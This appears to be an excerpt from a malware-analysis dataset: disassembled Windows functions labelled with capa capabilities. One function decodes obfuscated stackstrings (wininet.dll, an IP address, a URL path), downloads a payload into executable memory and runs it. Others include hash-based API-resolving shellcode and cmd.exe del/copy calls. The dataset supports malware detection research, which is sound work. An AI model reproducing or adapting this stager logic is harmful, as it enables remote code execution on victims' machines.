joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140092a30
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400e8690]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140092a87
cmp word [rdx], r13w
jne 0x140092a87
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140092a8c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140092bb1
mov r11d, SafeArrayDestroy
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140092bd2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140092ac5
mov rdx, r9
mov word [rbx], cx
jmp 0x140092aec
cmp r9, r8
jae 0x140092afc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140092aa6
jmp 0x140092bb1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140092ba6
cmp dword [rsp + 0x80], esi
je 0x140092ba6
lea r8, [0x1400e8690]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140092b7e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140092b4e
mov word [rbx], r13w
jmp 0x140092bae
mov ecx, SafeArrayDestroy
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140092b5b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140092bae
cmp word [rsp + 0x70], r13w
jne 0x140092b8b
cmp rbx, r14
je 0x140092b48
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140093698
cmp word [rsp + 0x70], r13w
je 0x140092bb1
mov ecx, SafeArrayDestroy
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400e8690]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140092bab
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140092bb1
Function at 0x140099680
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14008e294
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140099721
cmp ebx, dword [rsp + 0x30]
je 0x14009971a
test esi, esi
je 0x14009971a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1400996f5
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140099702
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1400996df
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140099706
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140099723
mov eax, 1
jmp 0x140099723
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14009a7b4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14009a83b
mov rsi, rbx
cmp word [rax], bp
je 0x14009a7fa
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14009a7e4
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14009a7e0
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14008ecd8
mov rdi, rax
test rax, rax
je 0x14009a828
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140078f30
mov rbp, rdi
xor ecx, ecx
call fcn.14008ea98
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14009f1d0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140093698
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140093698
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14009f320
cmp rax, 0xffffffffffffffff
je 0x14009f320
xor edi, edi
test rbp, rbp
jle 0x14009f2cb
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140090264
mov rbx, rax
test rax, rax
jne 0x14009f258
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14009f2c1
mov edx, 0x8000
mov ecx, r14d
call fcn.14008db8c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140091de8
cmp eax, 0xffffffff
je 0x14009f2a1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14009f268
mov edx, r15d
mov ecx, r14d
call fcn.14008db8c
jmp 0x14009f2c1
cmp byte [rsi + 0x38], dil
je 0x14009f2b8
cmp dword [rsi + 0x34], 5
jne 0x14009f2b8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], SafeArrayDestroy
cmp byte [rsi + 0x30], dil
je 0x14009f2c1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14008ea98
jmp 0x14009f334
jns 0x14009f334
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140093698
cmp rax, 0xffffffffffffffff
jne 0x14009f2ec
cmp byte [rsi + 0x30], dil
je 0x14009f334
mov edi, dword [rsi + 0x2c]
jmp 0x14009f334
mov ecx, r14d
call fcn.14009b25c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14009f334
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, SafeArrayDestroy
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], SafeArrayDestroy
jmp 0x14009f334
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14009f32d
mov eax, dword [rsi + 0x2c]
jmp 0x14009f332
mov eax, SafeArrayUnaccessData
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140093698
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14009fb70
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14009fb98
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14009fb98
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400010c8
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov r15, rcx
mov rdx, qword [rax + 0x18]
mov r11, qword [rdx + 0x20]
test r11, r11
je 0x140001183
mov rcx, qword [r11 + 0x50]
lea rdx, [r11 + 0x4a]
call fcn.14000106c
cmp qword [r11 + 0x50], 0
mov r14, rax
je 0x140001183
mov rbx, qword [r11 + 0x20]
mov eax, 0x20b
mov ecx, dword [rbx + 0x3c]
cmp word [rcx + rbx + 0x18], ax
jne 0x140001163
mov edi, dword [rcx + rbx + 0x88]
add rdi, rbx
cmp rdi, rbx
je 0x140001163
mov ebp, dword [rdi + 0x20]
mov esi, dword [rdi + 0x18]
add rbp, rbx
jmp 0x14000115f
dec esi
xor edx, edx
lea eax, [rsi*4]
mov ecx, dword [rax + rbp]
add rcx, rbx
call fcn.14000106c
add rax, r14
cmp rax, r15
je 0x140001168
test esi, esi
jne 0x140001141
mov r11, qword [r11]
jmp 0x1400010f4
mov eax, dword [rdi + 0x24]
lea ecx, [rsi + rsi]
add rax, rbx
movzx edx, word [rcx + rax]
mov ecx, dword [rdi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
add rax, rbx
jmp 0x140001191
lea rcx, str._x___n
call fcn.140001018
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x140001614
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor r12d, r12d
mov dword [rbp + 0x1f], 0x690077
mov dword [rbp - 0x2d], r12d
mov dword [rbp + 0x23], 0x69006e
mov dword [rbp + 0x27], 0x65006e
lea ecx, [r12 + 0x6c]
mov dword [rbp + 0x2b], 0x2e0074
mov word [rbp + 0x33], cx
movabs rcx, 0xa4cb7621a44faa0
mov dword [rbp + 0x2f], 0x6c0064
mov dword [rbp - 0x19], 0x2e313231
mov dword [rbp - 0x15], 0x322e3733
mov dword [rbp - 0x11], 0x33322e32
mov byte [rbp - 0xd], r12b
mov dword [rbp - 9], 0x672e632f
mov dword [rbp - 5], 0x693f6669
mov dword [rbp - 1], 0x524f3d64
mov dword [rbp + 3], 0x362e534d
mov dword [rbp + 7], 0x64697026
mov dword [rbp + 0xb], 0x7164573d
mov dword [rbp + 0xf], 0x393d746c
mov dword [rbp + 0x13], 0x3d632630
mov dword [rbp + 0x17], 0x73722631
mov word [rbp + 0x1b], 0x313d
mov byte [rbp + 0x1d], r12b
call fcn.1400010c8
lea rcx, [rbp + 0x1f]
mov dword [rbp - 0x31], 0x160016
mov qword [rbp - 0x29], rcx
lea r9, [rbp - 0x21]
xor ecx, ecx
lea r8, [rbp - 0x31]
xor edx, edx
call rax
movabs rcx, 0x27661e993caa0a83
call fcn.1400010c8
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rax
movabs rcx, 0x757e5ca465a21085
mov rbx, rax
call fcn.1400010c8
mov qword [rsp + 0x38], r12
lea rdx, [rbp - 0x19]
mov dword [rsp + 0x30], r12d
mov r8d, 0xf234
mov dword [rsp + 0x28], 3
xor r9d, r9d
mov rcx, rbx
mov qword [rsp + 0x20], r12
call rax
movabs rcx, 0x83aa5f867284107f
mov rbx, rax
call fcn.1400010c8
mov qword [rsp + 0x38], r12
lea r8, [rbp - 9]
mov dword [rsp + 0x30], 0x84400200
xor r9d, r9d
mov qword [rsp + 0x28], r12
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x20], r12
call rax
movabs rcx, 0x83aa5f8676a8e9a5
mov r14, rax
call fcn.1400010c8
mov rdi, rax
mov ebx, r12d
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
xor edx, edx
mov rcx, r14
call rdi
test eax, eax
jne 0x1400017cd
inc ebx
cmp ebx, 0xa
jl 0x1400017b0
movabs rcx, 0x1a620d425e763fa7
call fcn.1400010c8
xor ecx, ecx
mov edx, 0x400000
mov r8d, 0x1000
lea r9d, [rcx + 4]
call rax
mov ecx, 8
mov rdi, rax
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movabs rcx, 0x84a47fca467808a9
mov rsi, rax
call fcn.1400010c8
mov r15, rax
mov r9, rsi
mov r8d, 0x2000
mov rdx, rbx
mov rcx, r14
call r15
test eax, eax
je 0x140001876
mov ecx, dword [rsi]
add rbx, rcx
test ecx, ecx
jne 0x140001815
movabs rcx, 0x1151697952aa66a5
mov dword [rbp - 0x39], r12d
call fcn.1400010c8
lea r9, [rbp - 0x39]
mov edx, 0x400000
mov r8d, 0x40
mov rcx, rdi
call rax
test eax, eax
je 0x140001876
movabs rcx, 0x667d87ab4baaabbc
call fcn.1400010c8
lea rcx, [rdi + 6]
xor edx, edx
call rax
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140001e00
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400018a4
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rdi
push rbp
lea rbp, [rsp - 0x410]
sub rsp, 0x510
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x400], rax
lea rdx, [0x14000335b]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
mov r8d, 0x104
lea rdx, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edi, edi
test eax, eax
jne 0x1400018fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001ab0
lea rcx, [rbp + 0x1f0]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x140001907
mov edx, 0x5c
lea rcx, [rbp - 0x20]
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
xor edx, edx
lea rcx, [rsp + 0x70]
mov word [rax], di
lea r8d, [rdx + 0x68]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x60], rax
lea rdx, str._c_2023.xlsx
lea rax, [rsp + 0x50]
mov dword [rbp - 0x54], 1
mov qword [rsp + 0x48], rax
lea rcx, str.C:WindowsSystem32cmd.exe
lea rax, [rsp + 0x70]
mov word [rbp - 0x50], di
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
lea rax, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400019b4
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400019c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error___d_n
call fcn.140001018
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, str._c_del__........_
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
lea rcx, str.C:WindowsSystem32cmd.exe
lea rax, [rbp - 0x20]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001a28
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001a3c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error___d_n
call fcn.140001018
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, str._c_copy__Y
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
lea rcx, str.C:WindowsSystem32cmd.exe
lea rax, [rbp - 0x20]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001a9c
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001ab0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error___d_n
call fcn.140001018
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.140001e00
mov rdi, qword [rsp + 0x520]
add rsp, 0x510
pop rbp
ret
Function at 0x140001ad0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
call fcn.1400018a4
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenEncryptedFileRawA]
cmp eax, 0x7b
jne 0x140001b24
call fcn.1400011ac
jmp 0x140001b12
call fcn.140001234
call fcn.1400013fc
call fcn.140001464
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x140005654], 0
je 0x140001af8
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ebx, 0x3e8
mov edi, 0x3e8
lea rcx, str.This_is_a_program_test__n
call fcn.140001018
sub rdi, 1
jne 0x140001b2e
sub rbx, 1
jne 0x140001b29
call fcn.140001614
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
push rsi
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
mov ecx, dword [rax + 0x18]
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
add rax, rdx
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x180004750
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x47], 0
je 0x180004773
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x34]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x46
jb 0x180004760
mov byte [rcx + 0x47], 0
mov rax, rcx
ret

Function at 0x180004780
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x68], rcx
xor esi, esi
cmp byte [r8 + 6], sil
je 0x1800047b4
mov ecx, esi
lea eax, [rcx - 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 5
jb 0x1800047a0
mov byte [r8 + 6], sil
lea rax, [r8 + 5]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], sil
cmp r9, rax
je 0x1800047e9
mov r8d, 5
mov rdx, r9
lea rcx, [rsp + 0x48]
call fcn.180009020
nop
cmp byte [rbx + 0xa], 0
je 0x180004813
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x34]
xor byte [rcx + rbx], al
inc rcx
cmp rcx, 9
jb 0x180004800
mov byte [rbx + 0xa], 0
lea rax, [rbx + 9]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], 0
cmp rbx, rax
je 0x180004848
mov r8d, 9
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.180009020
nop
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x28]
movzx edx, byte [rsp + 0x20]
mov rcx, rdi
call fcn.18000af00
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x1800048a1
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000489b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000489b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180076eec
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1800048e1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800048dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800048dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180076eec
mov rax, rdi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
Function at 0x1800048f0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x180004924
mov ecx, esi
lea eax, [rcx - 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 6
jb 0x180004910
mov byte [r8 + 7], sil
lea rax, [r8 + 6]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], sil
cmp r9, rax
je 0x180004959
mov r8d, 6
mov rdx, r9
lea rcx, [rsp + 0x28]
call fcn.180009020
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x180004967
mov rbx, qword [rbx]
mov r8, rbx
lea rcx, [rsp + 0x28]
call fcn.18000c000
mov qword [rdi], rsi
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x1800049dc
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800049d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800049d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180076eec
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x1800049f0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor esi, esi
cmp byte [r8 + 9], sil
je 0x180004a24
mov ecx, esi
lea eax, [rcx - 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 8
jb 0x180004a10
mov byte [r8 + 9], sil
lea rax, [r8 + 8]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], sil
cmp r9, rax
je 0x180004a59
mov r8d, 8
mov rdx, r9
lea rcx, [rsp + 0x28]
call fcn.180009020
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x180004a67
mov rbx, qword [rbx]
mov r8, rbx
lea rcx, [rsp + 0x28]
call fcn.18000c000
mov qword [rdi], rsi
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x180004adc
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004ad7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180004ad7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180076eec
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x180004af0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor esi, esi
cmp byte [r8 + 0xa], sil
je 0x180004b24
mov ecx, esi
lea eax, [rcx - 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 9
jb 0x180004b10
mov byte [r8 + 0xa], sil
lea rax, [r8 + 9]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], sil
cmp r9, rax
je 0x180004b59
mov r8d, 9
mov rdx, r9
lea rcx, [rsp + 0x28]
call fcn.180009020
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x180004b67
mov rbx, qword [rbx]
mov r8, rbx
lea rcx, [rsp + 0x28]
call fcn.18000c000
mov qword [rdi], rsi
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x180004bdc
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004bd7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180004bd7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180076eec
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x180004bf0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x136], 0
je 0x180004c18
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x34]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x135
jb 0x180004c00
mov byte [rcx + 0x136], 0
